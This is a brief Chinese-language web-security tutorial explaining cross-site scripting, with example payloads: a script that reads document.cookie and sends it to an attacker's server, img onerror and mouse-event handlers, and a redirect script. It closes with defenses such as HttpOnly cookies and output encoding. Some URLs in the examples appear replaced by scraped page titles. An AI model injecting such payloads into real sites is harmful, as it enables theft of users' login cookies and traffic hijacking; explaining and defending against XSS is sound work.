XSS全称Cross Site Scripting,不叫css是为了和样式表区分开,其核心原理就是在目标网页中执行恶意的 js 代码。
举个常见例子: A 网站有个用户评论的功能,假设 A 网站未做任何预防XSS的措施,攻击者可以通过输入以下内容:'
<script>
const cookie = document.cookie;
// ajax 将cookie发送到攻击者自己的服务器(伪代码)
ajax('Attacker - The Domain Name Attacker.com is Now For Sale.', cookie);
</script>
A网站将该内容保存到服务器并展示在前端页面,这时用户A刚好访问该网页的该评论页面,用户A的浏览器识别script,直接执行scirpt中的代码,最终用户A关于A网站的cookie全部被发送到了攻击者的服务器上了,恰巧A网站的登录凭证都是放在cookie中的,攻击者此时完全可以以用户A的身份登录A网站。
XSS的攻击方式
除了上面提到的script方式,还有<img onerror />之类的也可以利用,如:
// 利用img的onerror中可以执行脚本
<img src='' onerror='alert("hey!")'>
// 鼠标只要在该标签上移动就会执行
<a onmousemove='do something here'>
<div onmousemove=do something here'>
XSS的攻击意图
窃取目标网页中的cookie值
可通过服务端设置cookie为http only(需要浏览器支持,毕竟cookie的所有权属于浏览器)。
劫持流量实现恶意跳转
插入类似如下代码:
<script>window.location.href="百度一下,你就知道";</script>
相当于偷目标网站的流量。
防范手段
过滤<script>、<img>、<a>等标签
对用户上传的内容进行转换编码,这样做浏览器是不会对该标签进行解释执行的,同时也不影响显示效果。